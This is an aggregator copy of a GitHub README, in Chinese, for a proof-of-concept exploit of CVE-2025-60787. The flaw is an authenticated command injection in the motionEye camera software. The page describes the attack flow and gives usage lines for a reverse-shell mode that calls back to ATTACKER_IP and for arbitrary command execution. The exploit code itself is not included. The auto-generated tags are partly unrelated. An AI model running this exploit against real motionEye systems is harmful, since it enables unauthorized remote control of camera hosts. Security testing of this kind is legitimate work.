d3vn0mi/CVE-2025-60787-POC

GitHub: d3vn0mi/CVE-2025-60787-POC

该仓库声称包含一个2025年CVE的POC,但该CVE编号可疑且未经官方确认,建议谨慎对待。

Stars: 0 | Forks: 0

# CVE-2025-60787 - motionEye 认证后 RCE **motionEye <= 0.43.1b4 中由于未经处理的 motion 配置参数导致的认证后远程代码执行** 作者:**d3vn0mi** ## 漏洞概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2025-60787 | | **CVSS 评分** | 7.2 (高危) | | **类型** | OS Command Injection (CWE-78) | | **受影响版本** | motionEye <= 0.43.1b4 | | **修复版本** | 0.43.1b5 | motionEye 在 `image_file_name` 等配置字段中接受任意字符串,并将其直接写入 Motion 配置文件(`/etc/motioneye/camera-*.conf`)。当 Motion 服务重启时,它会将这些字段解析为可进行 shell 扩展的字符串,从而使经过认证的攻击者能够注入并执行任意的 OS 命令。 Web UI 虽然对这些字段包含了客户端验证,但可以通过直接发送精心构造的 API 请求来轻易绕过该验证。 ### 攻击流程 1. 使用有效的管理员凭据通过 motionEye 认证 2. 获取摄像头配置列表 3. POST 包含恶意 `image_file_name` 值的修改后配置 4. Motion 在拍摄快照时(通过 `capture_mode: interval-snapshots`)处理注入的命令 ## 环境要求 - Python 3.6+ - `requests` 库 - 有效的 motionEye 管理员凭据 - 到目标 motionEye 实例的网络访问权限 ## 安装 ``` git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git cd CVE-2025-60787-POC pip install -r requirements.txt ``` ## 使用方法 该 exploit 支持两种模式:**reverse shell** 和 **命令执行**。 ### Reverse Shell 在你的机器上启动一个监听器,然后运行: ``` python3 exploit.py revshell \ --url http://TARGET:8765 \ --user admin \ --password SECRET \ -i ATTACKER_IP \ --port 4444 ``` ### 命令执行 ``` python3 exploit.py command \ --url http://TARGET:8765 \ --user admin \ --password SECRET \ -e "id; whoami" ``` ### 选项 | 标志 | 描述 | |---|---| | `--url` | 包含端口的目标 motionEye URL | | `--user` | motionEye 用户名 | | `--password` | motionEye 密码 | | `-i / --host` | 监听器 IP (revshell 模式) | | `--port` | 监听器端口 (revshell 模式) | | `-e / --exec` | 要执行的命令 (命令模式) | | `--camera-id` | 指定目标摄像头 ID | | `--sh` | 使用 `/bin/sh` 代替 `/bin/bash` | | `--no-verify` | 跳过 TLS 证书验证 | | `--proxy` | 通过代理路由流量(例如 `http://127.0.0.1:8080`) | ## 参考 - [GitHub 安全通告 - GHSA-j945-qm58-4gjx](https://github.com/advisories/GHSA-j945-qm58-4gjx) - [Exploit-DB #52481](https://www.exploit-db.com/exploits/52481) - [Rapid7 Metasploit 模块](https://www.rapid7.com/db/modules/exploit/linux/http/motioneye_auth_rce_cve_2025_60787/) - [motionEye 项目](https://github.com/motioneye-project/motioneye) ## 免责声明 本工具仅供**授权的安全测试和教育目的**使用。未经授权访问计算机系统是违法行为。作者不对本软件的滥用承担任何责任。在进行测试之前,请务必获取适当的授权。 ## 许可证 本项目采用 [MIT 许可证](LICENSE) 授权。
标签:Go语言工具, PoC, Python, 安全, 无后门, 暴力破解, 渗透测试, 漏洞利用, 编程工具, 超时处理, 远程代码执行